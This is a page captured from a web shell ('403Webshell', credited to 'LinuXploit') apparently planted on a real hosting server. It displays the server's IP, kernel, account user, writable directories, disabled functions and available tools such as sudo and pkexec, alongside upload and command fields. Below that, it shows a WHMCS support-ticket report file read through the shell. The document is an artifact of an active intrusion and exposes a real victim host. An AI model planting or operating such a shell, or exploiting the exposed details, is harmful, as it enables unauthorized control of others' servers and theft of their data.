403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/central/modules/reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/central/modules/reports/support_ticket_replies.php
<?php

if (!defined("WHMCS"))
    die("This file cannot be accessed directly");

$reportdata['title'] = "Support Ticket Replies for " . $currentmonth . " " . $currentyear;
$reportdata['description'] = "This report shows a breakdown of support tickets dealt with per admin for a given month";
$reportdata['monthspagination'] = true;

$reportdata['tableheadings'][] = "Admin";
for ($day = 1; $day <= 31; $day++) {
    $reportdata['tableheadings'][] = $day;
}

$reportvalues = array();
$query = "SELECT admin, date_format(date, '%e'), COUNT(tid) AS totalreplies, COUNT(DISTINCT tid) AS totaltickets FROM tblticketreplies WHERE date LIKE '" . $year . "-" . $month . "-%' AND admin!='' GROUP BY admin, date_format(date, '%e') ORDER BY admin ASC, date ASC";
$result = full_query($query);
while ($data = mysql_fetch_array($result)) {
    $adminname = $data[0];
    $day = $data[1];
    $reportvalues[$adminname][$day] = array(
        "totalreplies" => $data[2],
        "totaltickets" => $data[3],
    );
}

$rc = 0;
foreach ($reportvalues as $adminname => $values) {

    $reportdata['tablevalues'][$rc][] = "**$adminname";

    $rc++;

    $reportdata['tablevalues'][$rc][] = "Tickets";
    $reportdata['tablevalues'][$rc+1][] = "Replies";

    for ($day = 1; $day <= 31; $day++) {
        $reportdata['tablevalues'][$rc][] = isset($reportvalues[$adminname][$day]['totaltickets']) ? $reportvalues[$adminname][$day]['totaltickets'] : '';
        $reportdata['tablevalues'][$rc+1][] = isset($reportvalues[$adminname][$day]['totalreplies']) ? $reportvalues[$adminname][$day]['totalreplies'] : '';
    }

    $rc += 2;

}

Youez - 2016 - github.com/yon3zu
LinuXploit